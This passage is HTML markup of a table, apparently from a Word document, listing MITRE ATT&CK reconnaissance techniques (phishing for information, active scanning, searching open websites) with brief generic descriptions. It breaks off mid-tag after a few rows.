<table class="Table Ltr TableWordWrap SCXW158619120 BCX4" border="1" dir="ltr" data-tablestyle="MsoNormalTable" data-tablelook="1184" aria-rowcount="38" style="font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-line: none; text-decoration-thickness: auto; text-decoration-style: solid; -webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; table-layout: fixed; width: 1px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; caret-color: rgba(0, 0, 0, 0.847); color: rgba(0, 0, 0, 0.847); font-family: &quot;Segoe UI&quot;, &quot;Segoe UI Web&quot;, Arial, Verdana, sans-serif; font-size: 12px; background: none; border-spacing: 0px;"><tbody class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text;"><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="1" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstRow FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="99054412" paraeid="{2a32eaee-46df-409d-915a-a0f32c863b04}{254}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Tactic</span></span><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">&#x202F;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow SCXW158619120 BCX4" role="columnheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="457109407" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{8}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Technique</span></span><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">&#x202F;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW158619120 BCX4" role="columnheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1484481895" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{17}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Example</span></span><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">&#x202F;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="2" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="703938379" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{27}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Reconnaissance (TA0043)</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1082780883" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{34}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1598 Phishing for Information</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="105850511" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{41}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Phishing for</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> information is an attempt to trick targets into divulging information, </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">frequently</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> credentials or other actionable information.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="3" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="739148338" paraeid="{0dd8ee07-34cb-4ea1-aebe-c982a32f6aea}{255}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="275238577" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{50}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1595 Active Scanning</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="2037456329" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{57}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may execute active reconnaissance scans to gather information that can be used during targeting.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="673553735" paraeid="{eb249db9-48db-4ad0-b38b-2f9a75de6467}{3}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="433813231" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{66}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1593 Search Open Websites/Domains</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="326006102" paraeid="{cba2f500-a0d8-4910-a9ae-5fec883e95b5}{73}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may search open websites and domains to gather information about a victim that can be used during targeting.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1698860325" paraeid="{eb249db9-48db-4ad0-b38b-2f9a75de6467}{6}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span 